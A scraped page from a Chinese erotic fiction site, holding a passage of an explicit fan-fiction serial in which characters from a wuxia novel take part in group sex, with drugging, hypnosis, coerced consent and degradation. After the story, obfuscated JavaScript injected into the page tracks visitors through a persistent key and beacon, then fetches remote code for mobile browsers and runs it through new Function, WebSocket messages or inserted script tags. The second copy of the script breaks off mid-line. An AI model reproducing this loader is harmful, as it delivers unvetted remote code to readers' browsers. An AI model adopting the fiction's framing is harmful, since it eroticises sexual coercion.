图片载入中

异常的种子发了芽

特大字】 【大字】 【中字】 【小字

可一切都太晚了!异常的种子已经在身体与心灵发了芽,就算现在取走男人们的性命,性欲的渴求会自动的带她走错路。

粗鲁的四德用力的搓揉着宁雨昔的乳房,已经达到疼痛的地步,最后还啮咬着她的乳首;可即便如此,宁雨昔仍没有发力挣开四德,她渐渐了解到为何安碧如会喜欢这种粗暴狂野的性交,痛感带来的感官刺激,比之正常性交又多了一分滋味。

在巴利众辛勤的开垦下,大开眼界的宁雨昔已经不同以往,四德的虐待式性交让她敏感的身体更有感觉,欲拒还迎的神情勾起男人摧残的快感。

四德将宁雨昔身子一翻,从后边肏了进去,鸡巴又进的更深一些,过去只有林三与巴利等人触碰到的敏感地带,终于又被新的男人顶到了,忍不住的哼出声来。

“像母狗一样从后边被肏很爽吧?你就像这样求黑鬼干你的吗?”

四德此刻以征服者的姿态肏的宁雨昔的屁股一晃一晃的,看见那迷人的后庭菊穴,并起手指戳了进去。

“后庭也被大鸡巴玩过了吧!真是淫荡的女人!”

“噫!”

当蜜洞与菊穴同时被侵犯,极乐的快感让宁雨昔瑟缩着身子,穴里的嫩肉自然也将入侵者夹得更紧,大龟头的妙处这时便显了出来,虽然因为穴肉的紧夹使得进出有些困难,可每每都能刮得穴肉酸麻舒服,带出一波波的浪水。

四德从宁雨昔身体的反应,猜到宁雨昔两边的秘洞没有少被男人玩弄,带着妒忌与兴奋进行着最后的冲刺,啪哒啪哒的肉体交合声愈来愈快,随即精关一松,滚烫的精液便射进了宁雨昔的体内,也带来了宁雨昔的高潮。

“啊!”

发泄过后的四德觉得身上的燥热与怨气消了大半,整个人趴在宁雨昔身上,这才有了些许的愧疚之意。

本想说些什么的四德,却听见宁雨昔背着他说道:“你愿不愿意做我的徒儿?”

“什……什么?”

突然听闻跟当前景像不搭嘎的问题,四德有些蒙了,不过还是很实际的问道:“做你徒儿有什么好处?”

问题方问完,蜜穴传来一股吸力,未曾拔出的阳具受此刺激,又重新的壮大起来,宁雨昔这时才回道:“为师可以陪你切磋……嗯……练剑……”

说完话宁雨昔又暗示的将屁股往上一抬,四德顿时便了解了她的意思,激动的回道:“弟子愿意!师傅身上的毒可尽数解了?”

“嗯……你这徒儿可真贴心,这么快就懂得替师傅……分忧……”

“这是弟子应该做的!”

“唉……那你就把你狂剑的剑气……再度一些给为师吧……”

肖青璇此刻自顾不暇,完全没法去留意其他人,昏昏沉沉的脑袋隐约听见秦仙儿的声音,注意力却很快的被眼前的男人拉走,粗大的阳具每每顶到点上,让她四肢忍不住缠上男人的身体,只想迎来更深更猛的攻势。

旁观的李香君看着两人交合,自然也是兴奋到不行,一手抚胸,一手自慰,蜜穴在其抠挖之下流出了先前巴利的白浊精液,发情的姿态让人怀疑她也中了淫毒;当然只有巴利众与她本人才知道,她中的淫毒不在于身体,而是根深于心灵。

“啊……大鸡巴好舒服……呜……我……我不行了……啊……”

蜜穴的异变未满两日,便迎来如此巨物肏干,肖青璇很快的就攀至顶峰,可重整旗鼓后的巴利又岂是易与之辈?拾起征服诸女肉体的强悍姿态,干的肖青璇欲仙欲死,浑然忘了解毒初衷,尽情的享受男欢女爱的滋味。

巴利随之换过姿势,特意将肖青璇摆在女上位,微喘道:“我好像有些乏力了,还是让师姐自己把解药弄出来吧!”

肖青璇白了巴利一眼,又悄悄的往四周看去,发现除了宁雨昔之外,秦仙儿与安碧如亦是在上位主动着,悬着的心便放下了一半,轻轻的说道:“便宜你了!”

这般羞人的姿势她倒是不陌生,往昔蜜穴还不能承受太多恩泽时,有不少时候都是与林三这样对付。

况且昨夜与四德二人交合时,也重新的温习了一下,当然少不了被吃豆腐的指导。

肖青璇坐在巴利身上,男人的坏东西换了个角度,让她轻轻摆动一下就觉得一阵酸麻,不过她已非不懂人事的小女孩,身体的动作都是要让阳具触碰到那敏感的点上,晃动的乳房与下体淙淙流出的淫水,让旁观的李香君一阵羡慕与心动。

这已经不知道是巴利第几回被女人压在下面,但他觉得像这样看着别人的妻子以征服者的姿态在他身上动情的模样,便是他最大的胜利。

“师姐加把劲把解药榨出来吧!”

“啊……快…快给我解药……呜……嗯……”

肖青璇已经分不清解毒与纵欲的分界,屁股在巴利身上又磨又挤,随即是上下动作的吞吐着阳具,淫靡的让人不敢想信二人并非伴侣关系。

‘那坏东西好像又涨了几分,应该快射了吧!我应该继续下去吗?啊……射了!’自昨夜至今,肖青璇就像在进行一场性爱马拉松,先是与四德二人胡混了一晚,回家稍作歇息后又被四德趁虚而入,然后则是巴利的巨根,身体的疲惫感一下子就涌了上来。

“毒已经解了吧?让我先睡一会儿。”

“可若是余毒未清……”

没得到回应的巴利抬起肖青璇的身体,无奈的发现她已经睡着了。

安碧如与秦仙儿自然也已经被内射,看着从蜜穴里拔出的阳具,眼中全是迷醉,其实有没有解毒对她们的差别不大,在林三回来之前,她们希望能够尽情的享受性爱的愉悦,至于男人会不会守约,却是被刻意的忽略了。

宁雨昔与她新收的徒儿也已经完成了第二轮的交合。

四德看着有天仙般气质的宁雨昔用嘴帮他清理着沾满秽物的阳具,觉得自己异常满足,但一想到这个师傅并非他一人的禁脔,难免有些遗憾。

巴利和李香君扶着昏睡的肖青璇,看着完事的众人说道:“走吧!该换地方了!”

清醒的三女互相对视,知道此回若是应了男人,面对的将是一个无法测知的结局。

跟?还是不跟?……

第20章

腹部传来的绞痛让肖青璇活生生被痛醒。

天色已经黑了,未点烛火的屋子里一片漆黑,抚着肚子的她,这才想到自己怀有身孕,应该要好好养胎,而非贪求房事,放纵肉欲。

何况与她共享鱼水之欢的,皆非她的丈夫。

想着这俩日发生的事,肖青璇不知该感谢还是憎恨,董青山与四德虽是趁人之危,可又误打误撞的让自己得以感受到男女之事的乐趣;巴利则是有救命之恩,粗长的鸡巴肏的自己欲仙欲死,难以忘记。

可是......“唉!这下不单单是我失了贞节,甚至连师傅三人也被别的男人碰过,依照大华律令,通奸可是要游街示众的,林府是大华门面,不论如何也须瞒下此事,至于三哥...三哥...”想起人在远方国度的夫君,肖青璇不免叹息,即便知道以他的个性,会对保全名节牺牲性命的做法嗤之以鼻,但却不代表他会甘心自己的娇妻被别人搞。

理解和认同并不完全都是站在一起的。

“或许隐瞒也好...这样先前与四德他们之间的事也...”肖青璇为自己的想法感到羞愧,明明是自己犯错在先,却意图用齐中淫毒之事掩盖,可出了这事,诸女大概也不会留意她和四德等人的关系吧!“咦?这里好像...不是林府。”

习惯了黑暗的肖青璇打量了一下周围,发现房间的摆设并非林府的作风,一时之间有些愣住了,自己在睡过去之后究竟发生何事?为何会在这个地方呢?“夫人醒来了!”

突兀的声音自黑暗的角落响起,让肖青璇马上吓了一跳,腹部的疼痛又更加厉害了。

人影走到了烛台,点亮了蜡烛,一个轻俊秀逸、稚气未脱的小伙子便立在肖青璇身前;他看着肖青璇疼的厉害,不顾肖清璇的制止,将手伸入衣下,轻轻的抚摸着。

那只柔嫩绵滑,连女子都妒忌的的手犹如带有魔力,肖青璇的肚子的疼痛就这样被平抚下去。

“你是谁?”

“小人无名无姓,艺名叫作风晴,小时候便被人卖至风涛楼,直到前些日子才被人赎了回来,得主人吩咐,特来此处照顾夫人。”

“风涛楼?”

“提供喜好男风的人发泄的地方,小人就是卖屁股的。”

无意触及他人往事,肖青璇有些歉意,可风晴却一脸不甚在意的样子,他对这一切已经麻痹了。

肖青璇继续问道:“你可知道我的几位姊妹现在何处?”

风晴充满中性的声音回道:“她们几人正在大厅里待着,不过夫人你确定要见她们?”

听到风晴的回答,肖青璇心中有了不祥的预感,在风晴的带路下,前往诸人所在之地。

高酋、董青山与四德站在一起,眼睛放光的看着诸女,多年的夙愿终得实现,即便是没法成为摘桃子的人,不过同样能吃上果肉,一切都不是那样重要了。

巴利怀里抱着李香君,郝大与郝应立在左右,饶有兴趣的看着眼前众人。

李香君抱怨道:“你可真坏,把我师傅他们推给了高酋等人,这下她们要脱身就更加难了。”

巴利笑道:“香君你在怪我吗?你可别忘了你师傅她们身上还有武功,想要脱身还不容易?现在她们却迟迟不肯动,可见她们也是心中有数。”

“哼!要不是你先前鼓捣的那些玩意,她们又怎会如此?”

“别忘了你师傅她们自己也有出主意的,不可以完全怪我。”

“你一肚子的坏水都用在欺负女人,真讨厌!”

“香君教训的是,可你别忘了,你也是女人。”

相互斗嘴的小俩口旁若无人的打情骂俏,全然不顾现今场上的情况有多尴尬。

向来大胆的董青山,先前曾伙同四德共同祸害肖青璇,见高酋还迟迟不肯动手,索性便跳了出来。

脱去身上外衣,赤裸的上身皆是精壮的肌肉,被鸡巴顶的半天高的裤子也颇具规模,董青山豪气的道:“不知诸位姐姐谁先来?”

三女打从知晓巴利和高酋等人达成协议后,便一直在心中琢磨着,毕竟要让人闭嘴的方法很多,不一定要乖乖的顺从摆布,可看着巴利等人兴致盎然的样子,若是驳了他们的面子,或许也没机会再被他们的大鸡巴肏了。

虽然可以凭藉武功使其就范,但男女之事总要男性主导才有意思,一时之间千头万绪,却是不知如何是好。

宁雨昔毕竟已经开了先例,对于与其他男人交合也不那么排斥,柔声说道:“我们的身子既然都被巴利他们碰过,多几个人分别也不大,碧如和仙儿若不愿如此,还是趁早离开,相信他们不会为难。”

二女惊诧的看着宁雨昔,没想到被人设计后才同流合污的她,竟会首先同意与高酋等人性交,也不知是何缘故。

安碧如想着:“人说愈是单纯的人,一旦染了黑,堕落的速度反而会比其他人更快。当初一心向剑、似欲成仙的师姐,现在却已经离不开男人啦!”

感慨过后,安碧如看着董青山的下体,心里也是有些蠢蠢欲动的感觉,巴利每次的出手都令人料想不到,谁会想到他费尽心思搞定了宁雨昔和肖青璇后,还会狠心的将诸女丢给别的男人狎玩呢?不!或许他早就已经暗示过了吧!李香君在法兰西的遭遇,还有前段时间无意得知李香君去青楼客串妓女的事,都显示了巴利的与众不同;对自己心爱的女人都可如此,何况是与其无关的他人妻妾?在跟从他来到此处时,一切都已经定下了吧!董青山见诸女没有动作,左瞧右看后,最后决定向秦仙儿下手,他想知道与肖青璇同父异母的妹妹,跟她姐姐的差别。

秦仙儿看着董青山站在眼前,一颗芳心狂跳不已,她与董巧巧关系向来不错,爱屋及乌下,也把董青山当作弟弟来看待,如今弟弟想要自己的身子,她又怎能不慌张?“青山,我一直都把你当作弟弟来看待,这...”董青山轻轻搂着心乱如麻的秦仙儿,强压心中高涨的欲望说道:“我何尝未把仙儿姐姐当作亲姐姐看待?可是姐姐太不仗义,需要男人藉慰也不通知我一声,即便我身在扬州,绝对不说二话立马赶来。”

秦仙儿听见董青山看似关心实则无耻的话语,脸蛋又是更红了,也不知是羞恼还是愤怒。

董青山说完想说话的,便开始对秦仙儿上下其手,已有火侯的”洞玄子三十六手”熟稔的勾动女人的情欲,秦仙儿先是惊讶身体的敏感,随即便察觉这熟悉的挑情手法,与林三同出一路,疑惑的发问了。

董青山早知秦仙儿有此疑问,戏谑的说道:“姐夫知道诸位姐姐留在大华,必定会饥渴难耐、慌不择食,特地传下神功,以免几位姐姐失足...想不到仍是迟了一步。”

秦仙儿不知道遇到的男人都是怎么了?一个个都沾到了林三的口水,难道自圣坊解散后,大华就此没有了正人君子?啊!巴利他们不是大华人!四德和高酋见董青山已经下手,自然没有退缩之理,分别走向了安碧如与宁雨昔。

宁雨昔本来想着自己新收的徒儿会来讨好自己,谁知他转眼间便要向安碧如下手,心中暗骂四德混蛋。

高酋见识过宁雨昔武功,对她倒是极为客气,生怕一不小心触怒了仙子,说不得便要血溅五步,小心的说道:“宁仙子,得罪了!”

宁雨昔见四德这般不尊师重道,心情不是太好,斜眼凝视着高酋,没好气的说道:“别说那些虚的,不就是要干我吗?快把你下边的剑亮出来!”

高酋闻言愕然,在他心目中宁雨昔有如高岭之花、寒冬之梅,只有林三这般奇人才能夺得芳心,哪会像现在如同粗俗的婊子一样直接,一时之间不知该怎么办。

女神啊!你的形象不该是这样破灭的!安碧如任凭四德抚摸她的巨乳与丰臀,显得颇为受用,熟悉的挑情手法使她的欲望一下升腾起来,吃吃的笑道:“你这手法倒是跟我家小弟弟一样,不过得罪了我师姐,少不得有你的苦头吃。”

四德褪去安碧如的上衣,望着那对让人着迷不已的玉兔,回道:“在那之前,还是请安姐姐给我吃点甜头吧!”

四德微微弯下了腰,含着安碧如的乳头,湿润的舌一遍又一遍的刷过乳尖,让安碧如又麻又痒,笑声不断。

另外一边董青山已经将秦仙儿脱得一干二净,在其眼神的示意下,让秦仙儿脱下他的裤子,只见一杆长枪立在眼前,枪杆却是有些细了。

这等奇物让秦仙儿愣了一会儿,随即忍俊不禁的笑了出来。

“青山你方才把裤子撑得半天高,还以为你的那话儿多么威武,结果却是这般模样。”

董青山不是第一次被笑话,坦然的道:“我自然是比不上姐夫的,不过话说回来,我常听姐夫说他的那话儿比外国人还大,不知道是不是真的?”

秦仙儿如何听不出董青山的言下之意?嗔道:“你这小子,拐着弯笑话姐姐呢!”

董青山看着秦仙儿的薄怒之色,觉得这个姐姐又添了几分味道,握着她的葇荑说道:“姐姐莫要生气,青山只是好奇罢了!若你不想回答,我再去问安师傅与宁师叔好了!”

秦仙儿不想让董青山开罪二人,只得讷纳的说:“大约...或许相差仿佛吧!”

董青山追问道:“大概是有多大?”

秦仙儿认真的比划了下,说道:“大约比你这东西短半个指节、粗半个指节吧!”

“姐姐记得可真清楚!”

“讨厌!你又笑话我!去去去,到一边去,我才不要让你这家伙占我便宜...喔...你干...嗯...”

秦仙儿些微的怒火在董青山的亲吻之下消失无踪,接连的爱抚更让她心花怒放,看着她既熟悉又陌生的董青山用长枪顶着蜜穴口,缓缓进入自己的身子时,百味杂陈的说道:“唉...姐姐也...给你肏了...呜...”董青山喘着气,枪杆长驱直入,枪头一下便顶到了阴道尽头,直逼子宫,他回应着秦仙儿说道:“仙儿姐,让我们一起共登极乐吧!”

陆陆续续的,三对男女分别开始交合,便连被宁雨昔呛的高酋也不例外,为了获得仙子青睐,他可是使出了浑身解数,奈何宁雨昔早从四德处知晓诸男手段,所以没有半分新奇之感,而高酋的阳具虽比一般大华人还粗大,不过相差林三与巴利等人的巨物还是差了许多,怎能喂的饱口味愈来愈重的宁雨昔?另一边四德在安碧如丰腴的身体上驰骋着,境遇却稍比高酋要好些,巨硕的龟头在蜜穴里进出时,很轻易的带出一波波的浪水,安碧如甚至在想,若四德的奇物与巴利等人对自己来双龙入海,也不知自己吞不吞得下?淫媚的眼角勾出了些许笑意,让四德以为自己将身下的美妇制的服服贴贴,越发的卖力。

秦仙儿则是感受着身上的全新体验,董青山细长的鸡巴轻轻滑过穴肉,有一种说不出的搔痒,枪头不断的顶着花心,成为唯一的亮点,可在穴肉有些空虚的衬托之下,花心显得更为敏感。

巴利在旁边看自己所征服的人妻们在别的男人身下承欢,鸡巴再次硬挺了起来,顶的身上的李香君一阵娇唿。

李香君一脸痴态的看着巴利,说道:“你真是个变态,好歹她们都跟你有过肌肤之亲,看她们被人家肏还这么兴奋。”

巴利也不解释,将手伸入李香君的裙摆之下,转眼间手上全是黏黏的淫液,笑道:“你自己不也是一样兴奋的湿了。是因为看到自己长辈被别的男人肏,还是因为你也想跟她们一样?”

李香君跨坐在巴利身上,看着这个法兰西男子,他将自己推入深渊,却又让自己在深渊里立足,或许在几位长辈的眼中,她还是过去那个鬼灵精,可是里面的东西已经完全不同了。

只听旁人的论述,是绝对不会了解到那段日子对她本人的影响有多大,除非和她走在同样的道路上,但对于现今的诸女而言,她们的步伐还太慢。

李香君说道:“看上你这坏家伙真是我的不幸,人家好端端的一个黄花闺女,被你糟蹋成什么模样。”

巴利好整以暇的回道:“当然是湿答答的模样了...咦?高酋他们好像撑不住了?你说是因为他们实力不济,还是因为你师傅她们太淫荡了呢?”

李香君同情的望着高酋等人,为了迎合巴利众的大鸡巴,诸女的战斗力可是直线上升,即便前戏做的再好,凭着差了不只一个档次的鸡巴,实在难以让诸女满足。

技巧自然是很重要,但有些东西是没法弥补的。

高酋等人虽有心撑久一些,但三女既知他们的手段,又怎会没有半点应对之策?在女强男弱的情况下,只需将双修之气往身上一引,阳精便是蠢蠢欲动,在穴肉的紧夹下溃堤而出。

看着诸女略带遗憾的神色,高酋等人欲重整旗鼓,却见巴利等人不知在何时褪去了身上的衣物,提着霸气的粗大鸡巴来到众人眼前,三根昂首的巨物伫立在前,男人见之自卑,女人见之欢喜。

高酋等人无奈的让位,看着诸女骚浪的迎合着大鸡巴的抽插,与自己几人交合时不同,心中又羡又妒,却看见旁边的李香君在旁自慰,显然眼前的景象对她也是一种折磨。

三人互相对视,心有灵犀的往李香君走去,高酋笑呵呵的说道:“香君小妹妹,好久不见了。”

李香君被三个熟人看着自慰,丝毫不显尴尬的回道:“嗯,几位哥哥好久不见了。”

董青山试探的问道:“一个人玩多无聊啊!要不我们陪你玩玩?”

李香君看着三人的阳具,想起这些日子为了成全巴利与师傅等人,重操旧业的混迹青楼;其间也见过不少的家伙,三人的阳具比之巴利等人略有不及,可相较于大部分的大华人,也已经是个中翘楚了。

李香君好奇的问道:“你们当着我未婚夫面前要肏我,难道不怕他揍你们?”四德垂头丧气的说道:“他们也不知怎么搞的,把几位夫人胃口都养的这么大,害我一点得偿所愿的快感都没有。”

董青山与高酋感同身受的点着头。

李香君闻言笑道:“那是因为他本来只打算把师傅她们当作禁脔,特意的留了一手,才会让她们变得跟现在一样。”

高酋敏锐的察觉到李香君似乎也是经验丰富的高手,虚心的请教道:“不知道香君妹妹和她们的差别在哪?”

李香君轻轻叹息,追忆的神色中百味杂陈,这才缓缓的说道:“我师傅她们跟我的经验完全不能相提并论,香君自破身至今,经验过的男人已过百位之数。”董青山惊讶的说道:“那不就是妓女?”

随即才知失言,掩嘴低下头。

李香君云淡风轻的笑了,慢慢的回道:“一开始的确是身不由己的让人狎玩,只觉得世界上最悲苦的事都发生在自己身上,完全不得解脱,恨不得马上死去。后来巴利带我去见一个人,我只记得他用绳子在我眼前晃啊晃的,心里那股无法排遣的苦意在这次会面后便消失了。”

李香君的回忆显然勾起了高酋等人的兴趣,迫不及待的追问道:“后来呢?”“后来?”

李香君顽皮的用脚勾着三人的阳具,继续说道:“后来我便觉得做爱是这世界上最美好的事。啊!做爱是洋文,用大华文解释的便是制造爱情,简单来说便是男女之事。我从被动接受到主动迎合,每和一个男人做爱,不论他长短粗细与持续多久,只要他射在我的体内,我都能感觉到幸福。”

三个男人听到这里,隐隐感到不大对劲,一方面觉得李香君下贱的很,另一方面又觉得她有种难以言喻的圣洁。

四德若有所悟的想着林三说过的话,天才与白痴往往只有一线之隔,是不是代表圣女和婊子的差别也是在一线之间呢?这种感概并未持续太久时间,肉欲的冲动一下就淹没哲理的思考,李香君游刃有余的周旋于三人之间,受挫于三女的阳具在其手下立马恢复了精神,她将四德推倒在地,让那大龟头肏进自己的蜜穴,淫媚的掰开臀肉,将迷人的菊花展露出来,让董青山细长的鸡巴有了去处,空着的嘴巴则迎着高酋,霎那间便完成了四人大战的雏形。

高酋等人混迹花丛多年,哪曾见过似李香君这等尤物如此践踏自己?肏着蜜穴与菊洞的俩人,也不敢相信柔韧又紧实的花壁已经阅历多人,一时之间宾主尽欢、共享极乐。

“嘶!香君妹妹实在太棒了!实在不敢相信她已经被很多男人干过了!骚屄夹得我的鸡巴好爽!”

“啊...这后庭也是,虽然不比未开苞的菊穴紧,却也夹得我很舒服,而且还有一股吸力,真令人受不了。”

高酋也觉得李香君的口腔美妙至极,竟能纳入自己整根阳具,龟头每刮过喉头都是难以形容的舒服,更重要的是李香君没有半分作呕的神态,显然方才坦言的经验丰富并非虚言。

秦仙儿此时正享受着巴利的肏干,她总觉被董青山肏过之后,大鸡巴对她就特别有感觉,身体也较平常更为敏感。

巴利搂着她的腰,脸上坏笑道:“怎么样?被别的男人肏过后,是不是知道大鸡巴的好处了?”

秦仙儿的回答便是一个火辣辣的热吻,整个人都黏在巴利的身上,喘着气在他耳边说:“你的未婚妻...嗯...被高酋他们欺负...呜...你都不在意吗?”

巴利回道:“我自己都祸害那么多女人,没道理不让她也祸害祸害男人不是吗?”

秦仙儿闻言一滞,毕竟巴利的观点太过于匪夷所思,让她无法理解,就像林三祸害那么多女人,可也不会让他的女人到外头找...呸呸呸!巴利卖力的在秦仙儿身上耕耘,坦承的说道:“其实我就喜欢看到自己的女人被其他男人干的样子,尤其是那欲拒还迎的神态,让我的鸡巴都硬起来了,仙儿你感觉到了吗?”“呜...你这个变态...畜生...禽兽...喔...操死我了!”

巴利拔出鸡巴,让秦仙儿四肢趴在地上,慢慢的将巨龙在湿漉漉的洞口磨着,等到秦仙儿不安份的扭动身躯,这才缓声道:“仙儿真是把我贬的一无是处呢!这让我怎么好意思继续干你呢?”

秦仙儿觉得蜜穴骚痒难耐,恨不得男人把他的坏东西再塞进来止痒,急色的求着男人:“讨厌...不要再折磨仙儿了...快继续啊...”巴利手指轻轻摩着秦仙儿诱人的菊穴口,慢悠悠的问道:“如果我不继续会怎样啊?”

“你...”秦仙儿似乎想到什么,背着巴利的脸蛋又是一片羞红,最后却还是把想到的话说了出来:“你不插进来的话,便是连禽兽都不如!”

三哥若是知道他泡妞用的荤段子被爱妻拿来挤兑男人肏她,必定吐血三升、生不如死。

巴利却不想这么快遂了秦仙儿的意,嘴里碎碎念道:“插进去是禽兽,不插进去则是禽兽不如,这可真是难办了!要不要找个真正的禽兽来代替呢?外边的那只大黑狗好像挺不错的。”

秦仙儿听到巴利的自言自语,身上的欲火便消了大半,惊怒的想回头骂他,可大鸡巴又在转瞬之间突破蜜穴口顶肏着花心,酥麻的欢愉之感充斥整个身体,这才微嗔的说道:“讨厌...就爱吓唬人家...喔...”巴利边肏边笑道:“这下我可就变成禽兽了,仙儿你说说被禽兽干的算是什么呢?狗?马?还是虎呢?”

“啊...你这小心眼的坏蛋...人家才不要回答你...呜...”巴利遗憾的回着话:“这样我也没办法啦!还是不做这禽兽吧!”

秦仙儿闻言一惊,怕他又把鸡巴拔出去,有些服软的回道:“人家好歹也是大华的公主,怎能自比兽类?”

“既然仙儿公主这般高贵,那我还是...”“别...我...我说就是!”

“我还要提醒一句,若是没选中我属意的兽类,我可是也会罢工的喔!”

秦仙儿混迹青楼多年,自然知晓男人的行事龌龊心里,况且她与巴利等人交手多回,怎能看不穿他的心思?只是过去那些假藉增添床上情趣的自我轻贱的经验,早已将她内心的骄傲棱角皆尽抹去,就如同过去几次的服软,秦仙儿害臊又颤抖的回应着男人:“仙儿...仙儿是母狗...是要男人肉棒的母狗...啊...”巴利双手扣着秦仙儿的腰,勇猛的巨炮再次叩关,继续说道:“你猜对了,给你奖励!接着是第二题!”

秦仙儿苦着脸回答着:“还来啊?”

巴利让龟头轻轻摩着秦仙儿花心,戏谑的问道:“你是忠贞的母狗呢,还是淫荡的母狗呢?”

“我...我...”“说实话!”

“我是淫荡的母狗!”

都将秦仙儿逼到这个地步,巴利也不再吊着她,阳具重重的炮轰着蜜穴,让蜜穴里的淫水越肏越多,滴落在地板上。

肖青璇跟着风晴,觉得眼前的景象越发熟悉,直到到达众人所在之处,这才确认自己所在何处。

昨夜的她,便是在此失了贞节。


上一篇:江湖情事

下一篇:姑姑,我是过儿啊


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 